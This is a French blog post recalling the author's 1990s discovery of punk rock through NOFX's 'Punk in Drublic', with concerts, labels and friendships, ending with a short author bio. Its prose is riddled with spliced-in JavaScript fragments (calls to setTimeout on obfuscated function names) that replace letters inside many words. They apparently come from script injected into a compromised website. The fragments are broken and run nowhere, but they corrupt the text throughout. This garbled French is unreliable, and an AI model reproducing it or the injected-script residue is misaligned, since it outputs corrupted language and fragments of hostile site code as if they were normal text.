Effectivement, Best of Trash, Best Of pop rock sur M6, Fun Radio fait du bruit, Rocksound, Rage et j’en passe, étaient autant de relais qui ont permis de bruler nos walkmans sur le chemin du collège et de nous sortir de la période fluo-synthé-dance machine à grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and coup de guitares saturées.
Nos chemises à carreaux ont rapidement remplacées les LC Waikiki, Fido Dido et consort, et la Converse All Star a enterré nos Nike air 180 (à la grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande joie de nos parents vu le prix dérisoire des Converses à l’époque).
Ce moment gênant où tu te rend compte que Johanna était grunge, et Béné un peu aussi.
Nirvana, Pearl Jam, RATM et compagnie m’avaient déjà bien ouvert la porte du grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and monde du rock n’roll. Mais avec du recul, la première impulsion vers le grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and changement fut incontestablement SMASH de The Offspring et Dookie de Green Day.
Effectivement, après avoir vu quelques clips de ces groupes, je savais que mes disques de Silverchair et Hole allaient avoir du souci à se faire. J’ai rodé SMASH des après-midi entières, le doux écho de Dookie résonnait, lui, plus souvent dans la chambre de mon frère qui jouxtait la mienne.
Cet album était imparable, grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andiose. Quant à Dookie il me donnait le grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and frisson avec ses mélodies et sa rage de roquet teigneux, mais arrivé à un moment il me fallait plus, j’étais devenu insatiable.
A l’époque, nous avions déjà pas mal rodé ce que les grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands médias et les majors avaient à nous offrir, et puis il y avait ce groupe dont Rocksound avait brièvement parlé, il était dans les remerciements de nos disques favoris et les mecs de Offspring portaient dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le temps leurs t-shirts.
NOFX, étrange comme nom.
Un soir on est dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tombés avec un pote sur le clip de « Leave it alone » sur Best of trash, on a chopé direct un album lors d’une virée au Virgin Mégasdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore des Champs Elysées le samedi d’après. Derrière le disque y’avait marqué « Epitaph », comme sur celui d’Offspring, en gros on ne savait trop ce que c’était mais on y allés les yeux fermés.
Punk In Drublic, 1994 chez Epitaph
On était en hiver 1995, le disque était sorti depuis un moment donc. Punk in Drublic, habile contrepèterie et pochette cool, il ne nous en fallait pas plus.
L’expérience était extatique dès l’ouverture du disque, je ne le savais pas mais je me prenais droit dans la face le titre qui allait devenir l’hymne de la génération punk à roulettes, « Linoleum ». Le disque m’est rentré direct dans le crâne, ça allait vite, très vite, les mélodies étaient impeccables et les riffs assassins. Les mecs avaient l’air aussi crétin que nous et étaient sapés pareil, pas de surenchère destroy, juste des baggys et des t-shirts XL à la con, un skateboard et des bières cheapos.
NoFX, circa 1994.
Tout semblait sans temps morts, sans concessions, à l’image de ce groupe que j’ai appris à connaitre au même moment. Il y avait ce discours d’indépendance contre les grosses majors et les gros médias, prônant l’éthique DIY et un début de prise de conscience sociale. A ce sujet ce n’était pas Byzance certes, mais ce fut un bel exemple de vulgarisation, une belle porte ouverte pour l’ado que j’étais à ce moment-là.
Mais pour être honnête, ce qui nous plaisait surdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout c’était le coté branleur, une bdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande de sales gosses gentils à l’humour particulièrement potache dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout comme nous. Pendant des années, ce fut la bdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande son de nos après-midi de gldom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande et de skate. Au lycée on le passait dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout le temps en soirée avant de foutre un bordel monstre chez les parents du mec qui avait eu la mauvaise idée nous inviter.
Un appartement après une fête de jeunes qui écoutent NoFX dans le 95 en 1995.
Après cela dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout a été très vite lors de l’hiver 95 et le printemps 96, Millencolin, Rancid, Punk-O-Rama 2 (compil de ouf à 42 francs), Burning Heart Records, Fat Wreck et j’en passe.
Et puis vint le temps du premier live, ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 1996 à la Cigale avec Good Riddance et les Vdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andals en première partie. Ce soir-là j’ai su que rien ne serait plus jamais pareil, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout semblait si vivant, si vrai, si drôle et hors de contrôle. J’étais séduit et il n’y avait pas de billet redom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour vers la vie normale.
Suicide Machines, au Club Dunois, 1997, phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prise par Jérôme.
Fat Mike a sorti un max de bons groupes sur son label, ce qui nous a permis de passer outre le déclin musical de son propre groupe (sans mauvais jeu de mots, le déclin est pour moi le dernier bon truc de NOFX). Mais peu importe, il avait signé ce qui allait devenir la pierre angulaire du punk rock des années 90.
Cette fois la porte était grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ande ouverte et le punk rock allait devenir une des choses les plus importantes au monde pour nous. Se faire des cassettes, éplucher les remerciements dans les disques, aller au Silence de la Rue à l’époque où il était dans le XVIIème et acheter les disques à l’aveuglette. Enfin, on en a subtilisé bon nombre qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and même, je crois que j’ai honte qudom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and j’y repense.
Blink182, au Club Dunois, en 1997, encore une phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prise par Jérôme, et fais pas genre t'y étais, parce que t'y étais pas. Et bravo à Mark pour son t-shirt Kyle.
Avec du recul, Punk in Drublic n’est pas mon album préféré, même pas mon disque de punk rock préféré. Mais ce qui me dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touche le plus c’est que ce fut un réel point de départ vers une nouvelle partie de ma vie. Grace à ce disque j’ai rencontré des vrais amis et des gens qui comptent. Le sens incitatif du punk rock m’a donné les moyens d’écrire dans un fanzine, d’apprendre un instrument, monter un label avec les potes, sortir des disques avec mes groupes, partir en dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournée, rencontrer des gens dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours et encore…
Cela m’a ouvert à d’autres styles de musique et a forgé mon sens critique, si je parle anglais c’est parce que je me suis fait chier à traduire des centaines de chansons ou interviewer des centaines de groupes, si je suis travailleur social c’est grâce à l’ouverture humaine véhiculée par cette musique dont j’ai été imprégné après tant d’années.
D’une certaine façon ce point de départ m’a permis de devenir quelqu’un de meilleur, de faire des choses concrètes que cela soit au niveau créatif qu’humain.
Même si, on ne va pas se le cacher, au début cela nous a surdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout permis de s’inviter en soirée chez des gens du lycée, d’uriner dans les bouteilles de shampoing de leurs sœurs, de vider leur frigo sur les murs ou de jeter dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout ce qui nous passait sous les mains par les fenêtres juste pour faire rire les copains.
Donc voilà, en 2017 le punk rock mélo a perdu ses lettres de noblesse, c’est l’apanage de quelques milliers de personnes réunies entre la Belgique, l’Allemagne, le Japon et l’Amérique du sud. C’est passé de mode et quasi ringard à souhait pour bon nombre de personnes.
Je pense que si l’on n’a pas vécu ces années, il y a de fortes chances de prendre dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous ces groupes en grippe. Seul le facteur nostalgie pèse encore face au HxC mélo. Mais cependant, sachez que bon nombre de musiciens de groupes de post punk, garage, electro, sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toner et j’en passe étaient là à cette époque à pogoter au rythme de la double pédale, et sachez que la liste est longue. J’ai les noms et pas mal de phodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, tremblez donc.
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Jérôme dans le jus de l'époque, punk et rebelle comme dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours à rouler sur le trotdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toir avec son vélo.
Jérôme Treuvelot est un grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and trentenaire, fier d'avoir grdom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andi dans le 95.
Il est animateur dans Reste Bien Tranquille.
Et il est aussi batteur dans 17000 groupes dont voici une liste sélective (mais on vous conseille de trainer sur Discogs pour la discographie complète) :
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